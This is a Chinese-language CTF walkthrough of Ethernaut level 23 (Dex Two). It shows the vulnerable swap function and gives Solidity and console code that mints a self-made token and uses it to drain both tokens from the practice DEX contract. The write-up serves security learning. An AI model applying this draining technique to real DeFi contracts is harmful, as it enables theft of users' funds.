Ethernaut – level 23 : Dex Two

(https://ethernaut.openzeppelin.com/level/0x5026Ff8C97303951c255D3a7FDCd5a1d0EF4a81a)

這一關跟前一關幾乎一樣,但發現swap的地方少了require(from token1 or token2) (請參考題目程式),同時題目需要將instance的token1跟token2都拿光。

function swap(address from, address to, uint amount) public {
    
    //require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapAmount(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
  } 

由於沒有限制一定要用token1 或 token2來進行swap,同時,題目本身明示可以使用另一個幣來過關,因此我們可以自己mint一個token3,然後用token3把token1及token2交換完,即可過關。我們用Remix,mint一個token3,程式碼如下:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol";

contract tokenC is ERC20 {
    constructor(uint256 initialSupply) ERC20("token3", "c") {
        _mint(msg.sender, initialSupply);
    }
}

這邊要注意的是initialSupply要設為多少,因為getSwapPrice()公式的關係,一開始我們設為400,經由add_liquidity()將100轉給instance(會發現因為add_liquidity() onlyOwner modifier的限制而無法執行,但沒關係,我們可以用我們的tokenC的transfer達成一樣的作用),然後swap(token3, token1, 100),接著swap(token3, token2, 200),這樣就會剛好將instance的token1 and token2都拿光了(此時的initialSupply的token3 400枚也用光)。

let a = await contract.token1();
let b = await contract.token2();
let c = "<輸入token3的address>";

tokenC.approve(instance, 1000);//於Remix上進行
tokenC.transfer(instance, 100);//於Remix上進行

await contract.swap(c, a, 100);
await contract.swap(c, b, 200);

最後,submit level即可過關。